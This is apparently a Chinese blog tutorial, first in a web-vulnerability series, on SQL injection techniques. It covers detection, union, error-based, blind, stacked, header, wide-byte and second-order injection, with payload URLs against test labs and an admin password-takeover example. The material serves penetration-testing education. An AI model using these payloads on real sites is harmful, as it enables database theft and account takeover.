【WEB漏洞】第一章 sql注入(一)

系列文章目录

`
第一章 sql注入(一)


系列专栏:WEB漏洞
欢迎关注点赞收藏⭐️留言
首发时间:2022年9月10日
作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • 系列文章目录
    • 一、首先要知道的
    • 二、注入可能存在的地方
    • 三、如何判断能否注入
    • 四、注入的类型以及判定
      • 前提
      • 1.数字型
      • 2.字符型
    • 五、如何找到注入点
    • 六、注入分类
      • 1.联合注入
      • 2.报错注入
      • 3.布尔盲注
      • 4.时间盲注
      • 5.堆叠注入
      • 6.条件注入
      • 7.HTTP头部注入
        • 1. User-Agent注入
        • 2. cookie注入
        • 3. Referer注入
        • 4. X-Forwarded-For 注入
      • 8.宽字节注入
      • 9.二阶注入
        • 1.简单描述二阶注入
        • 2.漏洞原因
        • 3.举例


一、首先要知道的

在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

数据库中符号"."代表下一级,如xiao.user表示xiao数据库下的user表名

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name: 表名
column_name:列名
table_schema:数据库名

二、注入可能存在的地方

  1. url中存在传参的地方(识别点?=)
    在这里插入图片描述
  2. 存在cookie的状态(因为cookie需要去到服务器查找对比验证),渗透基础专栏cookie一文写到了
  3. 登录窗口(同样也是因为需要服务器验证)

三、如何判断能否注入

  1. 单引号判断法
在参数后面加一个单引号,这时候的sql语句应该是这样的
http://xxx/abc.php?id=1'

如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入

四、注入的类型以及判定

前提

因为sql语句会给字符串前后自动加上一对单引号,防止语法错误
也就是说,所以这个单引号就是我们判断的依据

select * from <表名> where id = x    --数字型的
select * from <表名> where id = ’x‘   ---字符型的

1.数字型

当传入参数,sql语句是这样

select * from <表名> where id = x

使用 and1=1来判定
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

因为是数字型,所以1不等于2所以报错

2.字符型

如果是字符型,sql语句是这样

select * from <表名> where id = ’x‘

这个时候再输入1‘ and ’1‘=’1的时候
sql语句就是这样

select * from <表名> where id =1‘ and ’1=1‘
select * from <表名> where id =1’ and ’1=2

逻辑判断为假

五、如何找到注入点

  1. xray
  2. sqlmap
  3. bp抓包重放分析
  4. 手工判定

六、注入分类

1.联合注入

联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化

1.找注入点:单引号判断等方式
2.爆列个数:?id=1 order by 3 --+   //--+是注释的意思,用来注释掉后面的自带单引号
order by 3 ,即以表的第3列排序,自己递增,直到在第N个报错,证明有N-13. 爆报错点:?id=-1' union select 1,2,3 --+ //让我们知道报错信息出现的位置,
并且知道哪一列可以爆出来,注意是-1,因为要报错
4. 爆信息:?id=-1' union select 1,database(),3 --+  //查询到数据库名

2.报错注入

应用会显示全部或者部分的报错信息,用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。(因为有的验证会屏蔽union这个函数)
报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。
1. group by 重复键冲

and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

提交如下,获取数据库名字

?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
  1. extractvalue() 函数

    ?id=1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) --+

提交 ?id=1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) --+ 获取数据库名字
3. updatexml() 函数

and updatexml(1,concat('^',(需要查询的内容),'^'),1)
  1. 提交如下,获取数据库名字

    ?id=1’ and updatexml(1,concat(‘‘,(database()),’’),1) --+

3.布尔盲注

只能从应用返回中推断语句执行后的布尔值,页面不能简单得到信息,因为工作量很大,一般采用脚本的方式

1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+  //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+  //不显示任何数据
 
  大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
 
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security

4.时间盲注

应用没有明确的回显,只能使用特定的时间函数来判断
打个比方:如果是真,就延迟五秒,看看他有没有延迟
建议用脚本,理解原理就好

?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+
if(expr1,expr2,expr3)如果expr1的值为true,则返回expr2的值,
如果expr1的值为false,则返回expr3的值。

5.堆叠注入

有的应用可以加入 ; 后一次执行多条语句

在SQL中,分号(;)是用来表示一条sql语句的结束。我们在 ; 结束一个sql语句后继续构造下一条语句,而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。并且union容易被验证屏蔽

id=1';update users set password='123456' where id=1; --+ 
更新用户1的密码为123456

6.条件注入

依据条件判断而产生的注入,比如说无密码登录,但是基本没有这种点了

7.HTTP头部注入

产生注入的条件:

  • 能够对请求头消息进行修改

  • 修改的请求头信息能够带入数据库进行查询

  • 数据库没有对输入的请求信息做过滤

1. User-Agent注入

User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。

简单来说,就是抓包之后修改UA的值,跟之前的方法一样,进行注入,这里给出一个实例

User-Agent=Mozilla/5.0 (Linux; Android 8.0.0; SOV35; Flow) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/335.0.0.244 Mobile Safari/537.36' and updatexml(1,concat('^',(database()),'^'),1) and '

2. cookie注入

同理

3. Referer注入

同理

4. X-Forwarded-For 注入

X-Forwarded-For(XFF):用来识别客户端最原始的ip地址

同理

8.宽字节注入

当我们的主动提交的单引号被
转义为\时,这就代表我们需要绕过这个\来让我们构造的sql语句正常的执行

有两个思路:
让斜杠(\)失去作用 —再把\转义掉
让斜杠(\)消失 —宽字节注入
简述宽字节注入的原理:利用编码的不同,使\消失,具体是利用宽字节(两个字节)

某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

宽字节是指多个字节宽度的编码GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。

我们在前面加上 %df’ ,转义函数会将%df’改成%df\’ , 而\ 就是%5c
,即最后变成了%df%5c’,而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ’
,被认为運’ ,成功消除了转义函数的影响。
’ %27
\ %5c
%df’ %df%5c’ =》 運’

【WEB漏洞】第一章 sql注入(一)_第1张图片

总结一下:有一个男人,因为没有老婆特别精力旺盛(他是一个讨厌的单字节(比如说\ )),就天天找你喝酒烧烤让你啥也干不了,于是你帮他找了一个老婆(加在“\”之前的一个单字节),两个人在一起凑成了一个家庭(共同组成了一个双字节),从此你可怜的朋友就再也不是他自己了(他跟他老婆共同组成了一个双字节)再也不能跟你一起喝酒了

9.二阶注入

二次注入适用于一次注入不了的情况(好像废话文学。。。)
上百度:

黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
黑客向服务端发送第二个与第一次不相同的请求数据信息。
服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

1.简单描述二阶注入

二阶注入就是先将有害的一个字段(通常是sql注入中有害字段)通过不需要sql验证的渠道传去数据库里面(一般为注册新用户,因为不用查询)借助再次调用该信息的手段(一般为修改密码,再次调用改用户)使得sql语句成立

2.漏洞原因

  1. 在进行用户注册的允许存在’和#这种特殊字符

  2. 在修改密码页面的源码中,发现这里很明显存在注入漏洞

3.举例

注册一个admin’#的新账号,密码是12345
【WEB漏洞】第一章 sql注入(一)_第2张图片【WEB漏洞】第一章 sql注入(一)_第3张图片

注册成功
接着修改密码,原密码是12345,输入新密码ccccc

【WEB漏洞】第一章 sql注入(一)_第4张图片

密码修改成功

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

上面这个是原始修改密码的SQL语句

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

上面这个是即将要执行的sql语句

$sql = "UPDATE users SET PASSWORD='$pass'where username='admin' ";

上面这个是最终语句

当我们登录账号admin’#并修改密码时,这条sql语句就变成了如下这个样子,#把后面的代码都注释掉了,所以修改了用户admin的密码为ccccc

你可能感兴趣的:(web漏洞,前端,sql,数据库,网络安全)